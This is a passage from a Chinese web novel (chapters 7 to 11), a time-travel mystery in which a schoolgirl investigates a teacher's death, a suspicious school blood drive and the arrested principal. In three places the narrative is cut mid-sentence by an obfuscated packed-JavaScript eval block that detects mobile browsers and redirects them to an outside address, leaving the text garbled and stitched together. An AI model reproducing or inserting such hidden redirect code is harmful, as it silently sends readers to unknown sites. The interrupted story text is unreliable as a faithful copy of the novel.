“哦。”姜颂禾托着腮,没怎么有精神的应了声,“您请说。” “你怎么看起来兴趣不大的样子?”李铁柱看着姜颂禾蔫蔫的,失落着问道。 并非姜颂禾完全没有好奇心,而是李铁柱这孩子彻底把她的好奇心磨没了! 李铁柱成绩不好,又喜欢上课说话,所以老师自然而然把他和同样不务正业的姜颂禾安排成了同桌。 昨天姜颂禾刚穿越的时候,李铁柱生病了,她逃过一劫。 结果今天,他病好了,一点后遗症没有,话还贼多。 整整一上午,他都在给她讲学校里的八卦。 起初,姜颂禾还觉得他能给自己透露什么案件细节,或者一些学校的隐秘往事之类的。 所以每次他吆喝着要给自己讲八卦,姜颂禾都兴致勃勃地把耳朵凑过去认真听。 结果!这孩子讲的不是隔壁二班的王五和李六在谈恋爱,就是他们班的胡四喜欢班长刘八,还有张二和周三前两天在放学路上啵啵嘴…… 姜颂禾听得都崩溃了。 她对一群未成年早恋一点都不感兴趣好吗?! 还有,这个时代的小孩有早恋的功夫,就不能好好学习建设祖国吗? 知道她一个现代人没个手机在身边有多无助吗?! 姜颂禾无奈回答:“只要不是谈恋爱的八卦,我都挺感兴趣的。” “不是恋爱,不是恋爱,”李铁柱神秘兮兮地把她拉回座位上,小声道,“校长被警察带走了。” 姜颂禾眸子一紧,她侧头认真地盯着他:“你怎么知道?” “我亲眼看到的啊,”李铁柱说,“来带人的就是你哥。” “不过你哥他们穿的都是便服,其他人都以为是校长亲戚,只有我知道他们是警察。”李铁柱骄傲道,“但我没告诉他们。” 上节课,李铁柱因为跟她讲太多八卦,结果扰乱到课堂纪律,被老师赶出了教室。 他能目睹这一场面,也就说校长至少是在九点四十五之前被姜酩野带走的。 昨天晚上物证就找到了,警局的人又在校长家门口蹲了一夜没抓到,今天他却一大早突然出现在了学校里。说明录完口供后,他通宵没有回家,也就说昨天一夜他都在学校里。 学校是什么值得整宿整宿待的好地方吗? “姜颂禾,你哥怎么会抓校长啊,”李铁柱神秘兮兮地好奇问,“不会是昨天死掉的刘老师就是他杀的吧。” “我怎么知道,”被打断思路的姜颂禾故作不在意道,“我又不是警察,你问我哥去啊。” “我干嘛问他啊,我跟他又不熟。”李铁柱说。 “我也不熟,”姜颂禾如实说,“昨天刚认识的。” “他出去念书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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红色海棠果上有凝结好的血渣! 是死者的东西? 如果真的是凶手把她拽到顶楼杀害的,那么她是怎么有时间放置这个东西的? 还是说死者早就预料到她会被凶手拽到顶楼杀害,所以提前把这个发夹放在这里的? 可是不符合逻辑啊。 而且,这个东西放置的这么明显,警察搜寻证物的时候,怎么可能不被发现? “哪个班的?在这里干什么?”走廊尽头,一个穿着保安服的大爷喊了句。 姜颂禾想都没想拔腿就跑,她匆匆跑下楼。 “嘿!跑的还真快,”大爷加快了步子。 最后直到姜颂禾消失在楼梯角,他才停住脚,他趴在楼梯上大喊着警告道:“哪个班的学生?以后顶楼不许上来了!玩捉迷藏去楼下去。” 姜颂禾没有应声,她快速跑出教学楼,还没喘口气的工夫,她看到不远处有不少学生排起了长队。 姜颂禾把发卡别在领口,随后便冲着队伍走过去。 正巧,她赶到的时候4班在排队。 李铁柱一看到她便招呼道:“姜颂禾你怎么才回来啊。” “有点事耽搁了。”姜颂禾气息不匀地应付道。 说完,姜颂禾习惯性地就要往队伍后面走。 李铁柱叫住她:“你去哪儿啊。” “排队啊。”姜颂禾理所当然道。 “你去哪儿排队啊,”李铁柱道,“你和我都在最前面。” 姜颂禾:“按学习成绩倒着排的啊。” “什么按学习成绩?”李铁柱说,“是按身高。” “你排第一,我排第二。” 姜颂禾无声了片刻,她总觉得有种事实她不想相信。 她故意委婉地说:“我也没觉得你比我矮啊。” “是你比我矮!你全班最矮,”李铁柱咆哮着说,“这么多年了,你一直排班级第一个,你不会忘了吧。” 姜颂禾无语。 她还真忘了。 虽然她也知道原主个子不高,但是她没想到她是全班最矮啊。 8. 第 8 章 学习成绩最差! 个子最矮! 上天这是打算让她给原主安排一个逆天改命的剧本吗? 姜颂禾“呵呵”笑了两声,随后不情不愿地走到了队伍的最前排。 李铁柱屁颠屁颠地跑过来,他再次神秘兮兮地说:“姜颂禾,你想不想听另一个八卦?” “我不想听。”姜颂禾斩钉截铁地拒绝。 “这次不是学生恋爱了,是老师的。”李铁柱道。 “老师?”姜颂禾犹豫了一秒问,“老师能有什么八卦?” “你知道昨天跳楼的那个刘念老师吗?”李铁柱道。 “听说过一些事迹,”姜颂禾并不藏着掖着,道,“我只听说她是新转来的代课老师,经常给表现好的学生们发糖吃,有的时候还买雪糕,他们班的学生都挺喜欢她的。” “其实,她死之前,”李铁柱半掩着嘴,小声道,“我们班的物理老师一直在追她。” 姜颂禾脱口而出:“年予白?” 原主成绩不好,物理更是差到没边,她对这位物理老师的记忆只剩下三个关键词——老实、男的、年予白。 “老实”是因为他上课从不罚人,在他的课上,原主光明正大的睡觉,他都不会责怪。 “男的”,则是因为性别。 至于“年予白”,则是因为开学的时候,他做自我介绍说自己叫“鲶鱼白”,原主一秒就记住了。 “对,就是他,平时看他挺木讷的,没想到眼光挺高的。”李铁柱惋惜着说,“刘念老师是新来的一批老师里长得最好看,也是最会打扮的,每天穿得花枝招展的,年老师对她一见钟情一点也不奇怪。” 姜颂禾尴尬地扯了下嘴角。 她原以为李铁柱的八卦能和破案有关系。 结果——就这?! 她不会告诉他,前世她在破案的时候,遇到过比这更炸裂的花边新闻。 “你不会是想说年予白因爱生恨把刘念杀了吧。”姜颂禾无语道。 “当然不是,年老师怎么可能做这种事?”李铁柱继续道,“我是想说刘老师在学校风评不好,经常勾搭老男人。” 姜颂禾警惕了一秒:“什么意思?” 李铁柱:“听说刘老师一来就盯上了隔壁班教化学的王老师,王老师都五十多了吧,头都秃了,她还凑上去勾引。” 姜颂禾仔细地搜寻了一下原主的记忆,问道:“隔壁班教化学的王老师,不是结婚了嘛?对象还是我们学校的,听说带的还是初三重点班。刘老师那么年轻,怎么可能会喜欢他啊。” “是勾引。”李铁柱纠正道。 姜颂禾:“我不喜欢这个词,你继续说。” “好吧。”王铁柱妥协。 “众所周知,王老师是学校里出了名的怕媳妇,怎么可能轻易出轨,所以有一天王老师媳妇亲眼看到刘念老师去找王老师问东西,一个生气直接冲办公室把刘念老师薅着头发打了一顿,”李铁柱夸张地说,“听说最后还是校长出面拦下来的。” “真的假的?”姜颂禾表示怀疑。 “当然是真的!”李铁柱认真道,“当时我就在办公室挨训,亲眼看到的。” 李铁柱的八卦能力,姜颂禾并不怀疑,只是……为什么呢。 刚来就盯上有妇之夫,这个刘念到底要干嘛…… 姜颂禾出神的空儿,李铁柱惊恐地指着她:“姜颂禾……你领子上的是什么?” 姜颂禾不怎么在意地说:“发夹啊,很奇怪吗?” “是海棠果发夹。”李铁柱道。 “有什么问题?”姜颂禾歪头疑惑道。 “你有没有听过关于我们学校的恐怖故事?”李铁柱再次神秘兮兮地道。 “没有。”姜颂禾摇摇头。 “听说我们学校建成之前,这一片都是坟场,自然死亡的、含冤而死的都有,”李铁柱故作神秘道,“所以就有大师说这个地方不祥,会死人,可偏偏校长不信邪,硬要在这里盖一座学校。说这里虽然是坟场,阴气比较重,但学生都是些小孩子,年轻气盛,自带的阳气可以很好克制阴气,所谓阴阳调和,必出人中龙凤。” 这都什么歪理? 姜颂禾继续问道:“然后呢。” “然后在我们学校建成的第五年,还真有一个学生跳楼死了,就在我们这栋教学楼,”说着李铁柱指着姜颂禾领口上的海棠果发夹,道,“当时她的头上就带着一个和你这个一模一样的海棠果发夹。” “哈?”姜颂禾满脸问号。 且不说这离谱的故事是真是假,就这时间线也不对啊。 姜颂禾毫不留情地戳穿道:“学校建成第五年的时候,你都还没出生呢,你去哪儿见到了一模一样的海棠果发夹?” “就真的是一模一样,”李铁柱着急解释,“前些天我去偷看班主任在不在办公室的时候,在教学楼的树丛里捡到了一个一模一样的海棠果发夹。还是年老师和我说了这个故事后,我才把它扔了的。” 李铁柱脑子里冒出一个极其恐怖的猜想:“不会我刚扔掉,就被你捡到了吧,这鬼东西还真是阴魂不散……” 李铁柱小嘴叭叭叭的,姜颂禾一句话没听进去,她细细思量。 年予白?海棠果发夹? 他为什么为了要回一个海棠果发夹,特地编一个故事来吓小孩呢。 这个发夹对他有什么特殊意义? 又为什么会出现在案发现场? 注意到姜颂禾失神,李铁柱毫无征兆地伸手,试图帮姜颂禾把发夹从她领口处拿下来。 姜颂禾本能地躲了一下,她警惕道:“你干嘛。” 李铁柱着急道:“你赶紧扔了它,它在我们学校不祥。” “我不要,”姜颂禾当即拒绝,并恐吓道,“李铁柱,你要是再敢碰我,我就告老师。” 李铁柱着急着跺脚:“你别不信我,这个发夹真有诅咒。” “就算有诅咒,也是诅咒我,你怕什么?”姜颂禾无所谓道。 “我说的都是真的!我还知道这个发夹主人的名字,叫朱莹莹。”李铁柱着急道。 “初一三班姜颂禾。”不远处,坐在椅子上的白大褂医生冲着排列整齐的学生队伍喊道。 “喊我呢,我先过去了。”姜颂禾收回目光,回了句,“有什么事回头再说。” 她气定神闲地走到登记处。 “体检证。”穿着白大褂的医生说道。 眼前这个医生的年纪算不得大,身上穿着一个白色大褂,正前面的纽扣大开着,左右两侧白色布料分别散在双腿外侧,造型既慵懒又不羁。 隐约地,姜颂禾还能从他身上闻到些许酒味,不同于酒精刺鼻的辛辣味,他身上的味道更偏向于粮食的糟香。 姜颂禾打量了他一会儿,才慢悠悠地从口袋里拿出一个红色小本子递给他。 “姓名。”拿着本子的医生随口问。 “姜颂禾。”姜颂禾如实说。 “o型血?”医生翻看着本子问。 “对。”姜颂禾快速道。 “父母是工人?”医生继续问。 “对。”姜颂禾快速回答。 “去左边那个队伍。”医生分配道。 “不用了。” 一个身形消瘦的男人赶紧从不远处赶过来,阻止道。 是早上在门口见过的三班语文老师万育才。 他安排道:“姜颂禾你去右边队伍抽血。” 医生转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222347|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚要反驳,却被万育才一只大手重新按了回去。 姜颂禾若有深意地盯着他,一声不吭。 直到被她盯得后背毛骨悚然了,万育才解释道:“左边队伍人太多了,排不开。” “哦,知道了。”姜颂禾勉强信了。 姜颂禾从桌面上收起自己的体检证,便按照万育才的指引走去了相应的队伍。 她刚走了几步便停住脚回头看了眼,正巧万育才刚好低着头在和那名穿着白大褂的医生说着什么。 中途俩人像是进行了一番激烈的争执,那名穿着白大褂的医生气愤地起身在万育才面前手舞足蹈起来。 姜颂禾没有多待,她全权衡了一番后,便悄咪咪地转向了正在排队着的左侧队伍。 与万育才预估的不同,左侧队伍明显比右侧队伍人少,并且速度快。 没用几分钟,就轮到了姜颂禾。 “体检证给我看一下。”戴着口罩的护士面无表情地命令道。 姜颂禾乖乖照做。 护士随便看了眼,便收起体检证,再次命令道:“坐下,把手伸出来。” 姜颂禾把胳膊伸过去,护士给她胳膊上绑上压脉带后,便从旁边随便拎了一个医用塑料袋。 姜颂禾眼睁睁地看着源源不断地鲜血从自己身体流向塑料袋。 塑料袋算不得大,但更算不得小,约摸着200cc的样子。 这看起来可不像是正常体检。 这种血量,体检个两三次,正常人估计都得贫血。 塑料袋接近半满,护士松开压脉带,然后把细长的针头从姜颂禾皮肤里抽出来:“按个两三分钟再松开。” “好。”姜颂禾乖巧应下,她起身刚要离开,脑袋里顿时传出来一阵眩晕。 护士像是早有准备,她从旁边给她端出来一杯水:“喝点红糖水。” 姜颂禾也顾不得这个茶缸有没有人用过,她直接抱起来一饮而尽。 “下一个。” 姜颂禾还没来得及起身,护士便催促了句:“同学喝完了赶紧走,后面还有人呢。” 姜颂禾应了声,随后便走了出去。 这所学校怎么从头到脚都透露着古怪? 摔死的老师,学校请来的衣衫不整的医生,莫名其妙体检,还有…… “姜颂禾,你在想什么呢。” 注意到来人是自己熟悉到不能再熟悉的同桌,姜颂禾平淡地收回心思,没精打采地应付道:“我在想我们学校再多搞几次这种体检活动,我估计就要变成干尸了。” “我就说你矫情,”李铁柱秀着自己的肱二头肌,骄傲道,“你看我的体格,一周体检一次都没事。” “你悠着点,未满十八岁抽那么多血,容易营养不良,长不高。”姜颂禾道。 “你在开什么玩笑?”李铁柱说,“上次我被水果刀割了下都比体检抽血多,怎么可能长不高。我看长不高的是你吧,当初入学的时候咱俩可差不多高,现在你看,我比你高出半个头来了。” 姜颂禾苦笑着扯了扯嘴角,她刚想离开,突然她像是想到了什么,她一把抓住李铁柱的胳膊:“你刚才说什么?” 像是被她不小心碰到了针口,李铁柱疼得倒吸了几口凉气:“嘶……” “对不起。”姜颂禾立刻松开他,表情带了些内疚。 “没事,”李铁柱大度地说,“你刚才问我什么?” “我刚才说你被水果刀伤到后流的血,都比体检抽的血多?”姜颂禾重复着问道。 “对啊,”李铁柱伸手比划着,“这么细的小针管,护士姐姐也没给我多抽,就抽了一点点。” 针管? 姜颂禾蹙眉。 怎么给她抽的是血袋? 9. 第 9 章 这个学校到底在搞什么鬼? 姜颂禾目光顺着队伍落到临时扎起来的两个白色医疗帐篷上,帐篷算不得大,勉强只能容纳两三个人的样子。 也就说除去护士和指挥的人,每次进帐篷体检的人只能有一个学生。 换句话说,两个帐篷里面的情况,除了护士,就只有学生自己知道了。 学生年纪小,很多事情都不懂。尤其是这个时代的学生,没有手机网络的加持,他们的思想完全跟着老师走。 觉得老师要求的,就是正确的。 姜颂禾低头握着下巴,一副思考的模样。 起初她还以为是这个年代医疗科技不发达,多抽一些以备万一。 原来一切是故意的。 可是为什么呢? 学校抽这么多血干嘛? 还要分帐篷抽,像是生怕别人知道…… 还有,白大褂起隔离作用,经验丰富的医生白大褂的扣子都是规整扣好的,并且吃饭的时候都不会穿进食堂。 可之前那位医生,不仅扣子没有扣整齐,就连身上都有酒糟味。 白大褂上的酒精气都掩盖不住,说明他是穿着白大褂喝酒的。 侧面证明他根本不是真正的医生。 还有,她原本是被分到左侧队伍里的,可是万育才偏偏要让她去右侧。 难道是因为早上的姜酩野? 也就说右侧帐篷抽血量少,是因为学生的家庭背景? 可是李铁柱怎么会被分到右侧? 据她所知,李铁柱的家里是开烤肉店的呀。 “姜颂禾,你在想什么?”李铁柱在姜颂禾面前弹了几个响指,试图把她的跑远了的意识拉回来。 姜颂禾快速问:“铁柱,你的血型是什么啊。” “AB啊。”李铁柱疑惑着回答。 “万能受血者。”姜颂禾低声喃喃了句。 抛开Rh血型系统不谈,ABO血型可分为四种,即A型、B型、AB型、O型。输血时,医生优先选择的一般是同型血,即A型给A型输,B型给B型输。但当血库同种血型血量不足的情况下,医生可以适当选择与供血者相容的ABO血型。 但因红细胞内的抗原不同,各血型间相互输血也就有了限制。即A型血的供血者可给A型或AB型的受血者输,B型血的供血者可以给B型或AB型的受血者输。 而AB型血比较特殊,他能够接受A型、B型、AB型、O型四种血型的人给自己输血,但自己却只能输给AB型的人。因而在医学上,AB型血的人又被称作万能受血者。 至于O型血,因其红细胞上没有A抗原和B抗原,在紧急情况下,可以给所有血型的受血者输血,所以又被称作万能血。拥有O型血的人,也被称为万能供血者。 由于AB型血的人,在社会上占比只有百分之七,故而需求也相对较少,所以一般医院在AB型血储量充足的情况下,会减少对AB型血的采集。 估计也是因为这一点,李铁柱才“逃过一劫”。 这所学校还真是从里到外都透露着古怪…… “喂,姜颂禾,你在想什么呢。”李铁柱在一次打断了姜颂禾的思考。 “没什么,”姜颂禾随口道,“该上课了,我们先去上课吧。” “好。”李铁柱应下。 - 一直到放学,姜颂禾都没怎么有精神,她打着哈欠,零零散散地听完几节课。 “姜颂禾你怎么回家?”李铁柱问。 正在收拾书包的姜颂禾道:“我今天有事得晚点走。” “行,那我先走咯。”李铁柱背着书包从位置上站起来。 “嗯,拜拜。” 姜颂禾慢悠悠地回复了句。 等到姜颂禾磨磨唧唧收拾好自己的书包,教室里已经没有人了。 如果白天的整整怪像都是万育才策划的,那么他的办公室不可能一点痕迹都没有。 如果她现在去,说不定能发现什么他没能掩盖的证据。 不管这件事和刘念老师的死有没有关系,姜颂禾能够肯定——这个万育才一定没憋什么好心思。 姜颂禾把手包重新塞回课桌,检查教室的老师刚好路过,他训斥道:“四班的,放学了怎么还不走?学校要锁门了。” 姜颂禾不敢正面起冲突,她重新回到自己的位置上,故作乖巧道:“我忘记拿作业了,回来拿一下。” “拿好作业赶紧出来,我送你出校门,”老师道,“学校晚上不安全。” 计划被打乱,姜颂禾脑袋耷拉着,无力地应下:“好……” 她就是因为学校不安全才打算调查的,要是安全的话,她用得着待到这么晚了? 当然这些话,她不能说出来。 “快点。”老师走进教室拍了拍她的脑袋催促道。 “好……”姜颂禾装模作样地往书包里装了一些用不着的课本。 之前她故意拖延时间的时间,就往书包里塞了不少书,如今又塞了一些,书包直接被撑得鼓囊了起来。 “你们晚上作业用得着这么多吗?”老师看着背着笨重书包走路晃悠的姜颂禾,关切地问。 姜颂禾表情皱成一团,仿佛用尽了力气:“今晚作业多,我成绩差, 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姜颂禾走到早就瞅准的墙体旁边,从外面看槐树很大很粗壮,树干也结实,感觉撑住一个小孩完全不成问题。 姜颂禾从书包里拿出原主先前逃课时准备的麻绳,她用一端绑在书包上。 绑好后,她还用麻绳拎了拎测试安全,中途像是感觉重了,她还不忘把几本书从书包里拿了出来。 她把麻绳干净利落地甩到了那较为粗壮的树干上,然后借助着墙面的支撑力,稳扎稳打地爬了上去。 “谁家小孩不想写作业,把书包扔树上了?”学校墙里面,一个男人的声音兀然响了起来。 “我给她拿下来送家里去,”另一个男人紧接着道,“饭可以不吃,作业怎么能不写?” 听到声音的姜颂禾立刻加快了速度,生怕她还没爬进学校,自己的“作案工具”就先被送回家里去了。 她刚从墙面上探出个脑袋,就与准备解绳子的男人来了个四目相对。 “颂禾?”他愣住,呢喃了句。 “建刚哥哥?”姜颂禾同样愣住了,她用两条胳膊扒住墙面,心里没来由地生出一个不好的预感。 他都来了,那位总不能缺席吧。 姜颂禾颤颤巍巍地低下头,结果刚好对上了槐树下那双略带温怒的眸子。 她心头一颤,脑子里顿时生出一个她要完蛋了的念头。 僵持数秒,最终姜颂禾还是尴尬地挥手打了个招呼—— “哥,好巧啊。” 10.第 10 章 老槐树下,姜颂禾被林建刚从树上抱下来,脚还没站稳呢,就迎来了姜酩野的一顿训斥:“你在干嘛?上墙爬屋长本事了?” “我忘了带作业嘛,保安放学又不让我进来,我就只能爬墙进来拿了。”姜颂禾随便胡扯了个理由。 姜酩野眯眼打量了她许久。 姜颂禾被他盯得浑身不得劲,她鼓足勇气道:“你干嘛?!我说的是真的。” 姜酩野弓腰与她平齐,他问道:“你既然这么爱学习,怎么数学考六分?” “人有失足马有失蹄,没考0分就说明我没逃考,”姜颂禾辩解道,“只是水平比较差,但是学习态度还是端正的。” 姜酩野将信将疑地点点头,他站直身子。 林建刚从老槐树上把姜颂禾的书包拿下来,道:“颂禾,你书包里装着铅块吗?这么沉。” 说着他就要打开。 姜颂禾心一凉,书包里除了装着课本外,还装着原主自制的各种逃课摸鱼的工具呢! 其中包括但不限于弹弓、麻绳、鱼线等。 要是其他时候被发现还好,顶多被训一顿,但是这个时间点、这种情形下被发现,她会不会被误会是来学校杀人的啊? “你懂什么?”姜颂禾一把抢过来,她把手包护在怀里,道,“这些都是我学习进步的阶梯。” “书包给我。”转头,姜酩野冲她伸了伸手。 “我不要。”姜颂禾当即拒绝。 “别浪费我时间。”姜酩野没怎么有耐心地道。 “那你别打开,”姜颂禾妥协道,“这里面都是我的隐私。” “我知道。”姜酩野敷衍地回。 姜颂禾不怎么相信地把书包递过去。 姜酩野拎起她的书包带随手挎到肩上:“我今晚需要加班,肯定没时间送你回去。过会儿等我忙完案子的事儿,就带你回警局,让爸妈去警局接你。” 姜颂禾弱弱地回复了句:“我可以自己回。” “这么晚了,你一个人不安全,”姜酩野道,“况且谁知道你背着这一包设备是不是又要去湖里摸鱼啊。” “你都知道?!”姜颂禾震惊得瞪大了眼,她脱口而出,随即又快速捂住嘴。 “别低估一个警察的推理能力。” 姜酩野转身自顾自地往前走着,注意到姜颂禾没跟上,他道:“不想挨揍就跟上,别拖我后腿,这里可没有爸妈护着你。” 他在威胁她。 姜颂禾气鼓鼓地。 “走啦,”林建刚拍着姜颂禾的后背,轻轻推了她几下,“你哥跟你开玩笑的,他怎么可能真揍你?” 姜颂禾仰头快速吐槽了句:“他是不是特别讨厌?” 林建刚笑而不语。 — 三人来到教师宿舍楼,姜酩野给宿管看了眼自己的工作证后,宿管拉开铁栅栏就放他们进去了。 姜颂禾和林建刚慢慢地跟在姜酩野身后。 姜颂禾冲着林建刚招招手,林建刚立刻明白了她的意思,他侧弯身子,把耳朵凑过去。 姜颂禾趴在他耳边小声道:“建刚哥哥,你们是不是来查刘念老师住的地方的?” “对,”林建刚如实说,“我们刚刚打听到,刘念不止在校外租了套房子住,学校里面也单独给她留了宿舍,所以我和姜队特地来看看。” “她一个人,为什么要住两个地方?”姜颂禾好奇。 林建刚道:“听说她刚开始是住在学校里的,可她天天神神叨叨的在学校烧纸钱,搞祭祀,很多老师受不了,就申请学校,让她出去住了。” “可是她出去住后,学校还会给她留着房间吗?”姜颂禾问道。 “留着,这一期实习老师不多,宿舍楼空余好几间,”林建刚道,“再加上很多老师担心她在房间里摆什么降临厄运的法阵,所以不止她那一间,就连她那一层楼都没人敢住进去。” “哦。”姜颂禾了然地点点头,又追问道,“刘念老师生前是信什么教吗?” 林建刚思考了一会儿,他摇摇头道:“没听说。” — 三人好不容易来到了教师宿舍楼四楼。 姜酩野刚拉开一间宿舍门,一股刺骨的冷风便吹了出来。 姜颂禾不由得打了个寒颤。 林建刚关切道:“颂禾,冷吗?” “不冷。”姜颂禾嘴硬道。 不知何时走进屋子里的姜酩野默默关上了窗户。 姜颂禾伸手拉了下宿舍门旁边的拉绳。 这个年代白炽灯并不怎么流行,通用的还是那种比较昏黄的钨丝灯。 使用的也还是拉线开关。 姜颂禾轻轻一拉,宿舍顶部的钨丝灯瞬间亮起来。 它被一个漏斗式的铁罩罩着,寒风吹过,灯泡带着灯影晃晃悠悠地照亮整个屋子。 姜酩野缓步走到姜颂禾面前,他指着她一字一句嘱托:“腿不许乱走,手不许乱动,眼睛不许乱看,耳朵不许乱听,小嘴巴给我闭起来,懂?” 姜颂禾重重地点点头。 懂懂懂! “书包里的东西不许乱动,”姜酩野把书包放在姜颂禾脚边,“不听话,我就把你精心研制的装备上交,你就等着迎接一顿男女混合双打吧。” 他在威胁她。 但这次姜颂禾完全没有反驳的底气,她只能乖巧地点了下头。 姜酩野心满意足地站直身子,他冲着林建刚比了个眼神,随后俩人便齐齐带上皮胶手套走进了屋子。 这间房间与其说是一间学校教师宿舍,倒不如说是一间面积算不得小的单身公寓。 喷着绿漆的木质双人床,带着镜子的高个儿衣柜,以及略有些掉漆的木质桌凳和贴着明星大头照的个人写真。 这里的布置虽摆放随意,但还算简单,让人单看一眼,便觉得住在这里的人条理又勤快。 只是……姜颂禾总觉得这里的一切都怪怪的,但是又说不出来哪里奇怪。 姜颂禾的目光顺着房间一一扫过。 桌面上摆着的化妆品堆积于左侧,麻黄色毛巾挂在左侧,就连烧水壶也放在床头的左侧。 所以,这个刘念到底是个强迫症的细节控,还是个左撇子啊。 如果是左撇子是不是太刻意了点? 思量着,姜颂禾走到了窗户旁边,窗台上摆着一个搪瓷茶缸和牙刷。 姜颂禾无意识地伸出右手,做了个准备拿起的动作。 嘭—— 一记重拳打到了她的头顶上。 “啊……”姜颂禾吃疼地用两只手护住自己的头顶,脚底不自觉踉跄了几下。 她稳住脚,一脸幽怨地仰头盯着不知何时出现在她身后的姜酩野。 “告诉过你不要乱动,你怎么不听?”姜酩野质问道。 “你没觉得这个漱口缸很奇怪吗?”姜颂禾捂着头,怨气冲天地指着窗户上的杯子。 “有什么奇怪的?”不知是故意试探她,还是自己本来就没发现,姜酩野问道。 “如果是我,我不会把把手放在左侧,这样我右手拿很不方便,”姜颂禾道,“而且这根本不符合我的日常习惯。” “姜队,好像真的是,”林建刚恍然大悟道,“难道这个刘念是左撇子?” 姜酩野揉揉姜颂禾的头:“你脖子上这颗球这是开窍了?” 姜颂禾斜眸瞅着他。 什么叫脖子上的这颗球? 他会不会说话? 林建刚:“姜队,难不成刘念真的是左撇子?” “嗯,”姜酩野解释,“法医那边检测报告说死者左手有细茧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232685|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大概率是左撇子。” “那也就说死者身上的伤痕很有可能是自己割的了?”姜颂禾激动地说。 姜酩野沉默了片刻,表情也变得有些耐人寻味。 姜颂禾心一凉,没怎么有底气地询问:“不……不对吗?” 姜颂禾原以为姜酩野会抓着自己的话茬质问她的身份,没想到他只是严肃地摇摇头。 并一脸郑重道:“不是,而是我从来没有往这个方向想过。” 姜颂禾松了一口气。 姜酩野道:“建刚,立刻给鉴定科那边打电话,让他们推演一下,死者自己割伤的可能性。” “好。”林建刚应完,快速跑了出去。 姜颂禾仰着脸,一副“快来夸夸我”的表情。 “少骄傲,”姜酩野不留情面道,“就算你发现了死者是左撇子这一点,我也不会让你踏进案发现场的。” “查案是大人的事儿,小孩子最重要的是学习。” 说着,姜酩野拽着姜颂禾的手腕,试图把她拽出去。 “一定还有我没发现的线索,你让我再多呆一会儿嘛,”姜颂禾挣扎着,“说不定我能帮你们尽快破案呢。” “不行。” 姜酩野强行把她拖到门口。 随后“嘭——”地一声,宿舍铁门在姜颂禾身后闭了起来。 姜颂禾气鼓鼓地双臂环胸走到廊边的窗户边。 前世,姜酩野这样的,她能一个打两个。 如今,人家倒是轻轻松松就把她拎出来了。 姜颂禾拉开窗户,宣泄般冲着空气大喊:“姜酩野!拒绝我,你一定会后悔的!” “我听得见。”姜酩野的声音,从宿舍门里面传出来。 “就是说给你听的……”姜颂禾小声补充了句。 夜晚的寒风微凉,吹得姜颂禾脑袋有些疼。 她双手扒住窗户的把手,想要用力地关上。 突然间,她看到对面的楼层有些熟悉。 她用力从窗户里探出半个身子,她仰头看了眼印在对面教学楼右侧的——博远楼。 初一的教学楼? 她还没注意,原来提供给老师居住的宿舍楼就在他们的教学楼后面。 那是什么? 姜颂禾探出脑袋后才注意到这扇窗户的正下方,也就是宿舍楼和教学楼中间的泥砖过道上有一团被火焰灼烧过的痕迹。 姜颂禾脑子里不由得回想起林建刚说过的话:听说她刚开始是住在学校里的,可她天天神神叨叨的在学校烧纸钱,搞祭祀,很多老师受不了,就申请学校,让她出去住了。 所以这应该就是刘念烧纸钱的地方了。 可是不对啊,烧纸这种活动,不应该是祭奠之人找个避风的地方单独进行的吗? 怎么刘念非但没找个靠墙的墙边,也没找个可以避风的转角,反而选了这么个四面通风的路中央啊。 这里对她有什么特殊含义? 许多问题得不到解答,姜颂禾觉得自己的脑子都要冷炸了。 她刚要把窗户关上,冷不丁想到一件事——他们这一届,学生并没有招满,所以博远楼空教室特别多,从而很多平时不常用到的办公室都设立在他们这栋楼。 就比如心理咨询室、体育器材室、演奏室、实验室等。 如果她没记错,校长好像也在他们这栋楼办公。 而刚好…… 姜颂禾从左往右一间房间一间房间地数着,最后她不由得瞪大了眼睛。 她现在所正对的那间教室,就是校长办公室! 那么结合楼下这团纸钱烧过的痕迹,也就说——这纸钱是给校长烧的?! 给活人烧纸钱,应该算是诅咒了吧。 乖乖,校长这么招人恨,他是杀了刘念全家吗? 11.第 11 章 按照这个逻辑,死者为了报复校长选择自杀,好像也讲得通。 根据死者尸体上的伤痕判断,凶手是左撇子。 并且死者右手臂上臂为第一道伤痕,那么左撇子的死者自己划伤自己,并伪造成被人划伤的假象也并非没有可能。 死者呈趴卧状,说明除了之前她猜想的死者是被人推下去的外,还有一种可能——那就是死者是自己跳下去的。 这样……凶器突兀地出现在校长办公室里,好像也就变得顺理成章了。 可是为什么呢? 那么爱美的一个女孩子为什么要选择用自杀的方式报复校长? 这俩人中间到底有什么深仇大恨?让死者不惜自杀也要毁掉校长的声誉。 不,不对。 姜颂禾捏着下巴,眼神变得有些晦暗。 人类的任何行为都是有目的的。 如果只是想要毁掉隋原校长的声誉,死者大可以有上百种,为什么要采取这么极端的方式? 一定有什么深层次的目的她还没有发现。 还有,如果校长办公室的垃圾桶里发现的凶器真的是死者自杀时所使用的那把,那么它是怎么凭空出现的? 是死者拖着割好的身体亲自去放的吗? 好像不太合理…… 且不说受了这么重的伤,死者还有没有力气去做这件事。 